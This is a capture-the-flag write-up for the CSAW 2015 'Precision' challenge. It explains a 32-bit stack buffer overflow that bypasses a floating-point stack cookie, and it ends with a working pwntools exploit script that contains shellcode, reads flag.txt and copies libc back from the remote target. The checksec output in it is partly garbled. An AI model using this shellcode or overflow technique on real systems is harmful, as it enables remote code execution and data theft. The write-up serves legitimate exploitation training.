CSAW CTF 2015 - Precision
TL; DR
- Overflow
Precision was the lowest point exploitation challenge because it was literally a buffer overflow :3
Let’s start by getting an idea what is up with it:
vagrant@precise64:~/csawctf$ file precision
prec: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf2c69f92c3f6d68319ee39c0926e84bccdeb0371, not stripped
Alright, and the security mitigations it has:
vagrant@precise64:~/csawctf$ ~/Template/checksec.sh --file precision
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precfound NX enabled No PIE No RPATH No RUNPATH contacts
Oh boy! No NX! So we can put shellcode into our payload :3
804856f: lea eax,[esp+0x18]
8048573: mov DWORD PTR [esp+0x4],eax ; Our input
8048577: mov DWORD PTR [esp],0x8048682 ; Scanf format string
804857e: call 8048410 <__isoc99_scanf@plt>
Oh man, we have a scanf
that prompts us for our input and stores it in a static buffer.
If we look at the function prologue, we get an idea how big this buffer is:
8048523: sub esp,0xa0 ; Our return address will be around 0xa0 bytes
The interesting part of this challenge comes from this part of main
:
8048583: fld QWORD PTR [esp+0x98]
804858a: fld QWORD PTR ds:0x8048690
8048590: fucomip st,st(1)
8048592: fstp st(0)
8048594: jp 80485a9 <main+0x8c>
8048596: fld QWORD PTR [esp+0x98]
804859d: fld QWORD PTR ds:0x8048690
80485a3: fucomip st,st(1)
80485a5: fstp st(0)
80485a7: je 80485c1 <main+0xa4>
We see a lot of floating point operations and at the beginning of that code we see a floating point load from 0x8048690
. Looking at the beginning of this function we see the same address again:
8048529: fld QWORD PTR ds:0x8048690
804852f: fstp QWORD PTR [esp+0x98]
and it is storing the value in a stack based variable meaning it is most likely using this floating point value as a “stack cookie” more or less. So by simply getting the bytes of this floating point value and sticking them into our payload at the right offset as to align them with where the floating point value is located, we pass this check and get our exploit to land :3
Oh yeah, they also give us the address of our buffer in memory, so it is super easy peasy :3
Note
This script also includes an example of how to exfiltrate a libc in case you need it for a higher point problem :3
from pwn import *
r = remote("54.173.98.115", 1259)
shellcode = "\xeb\x25\x5e\x31\xc9\xb1\x1e\x80\x3e\x07\x7c\x05\x80\x2e\x07\xeb\x11\x31\xdb\x31\xd2\xb3\x07\xb2\xff\x66\x42\x2a\x1e\x66\x29\xda\x88\x16\x46\xe2\xe2\xeb\x05\xe8\xd6\xff\xff\xff\x38\xc7\x57\x6f\x69\x68\x7a\x6f\x6f\x69\x70\x75\x36\x6f\x36\x36\x36\x36\x90\xea\x57\x90\xe9\x5a\x90\xe8\xb7\x12\xd4\x87"
buf = int(r.recvline().strip()[-8:], 16)
r.sendline("A"*(0x80 - len(shellcode)) + shellcode + "\xA5\x31\x5A\x47\x55\x15\x50\x40EEEECCCCDDDD" + p32(buf+8))
r.recv()
r.sendline("cat flag.txt")
print r.recv()
r.sendline("cat /lib32/libc.so.6")
x = ""
while r.can_recv(5):
x += r.recv()
with open("libc", "wb") as f:
f.write(x)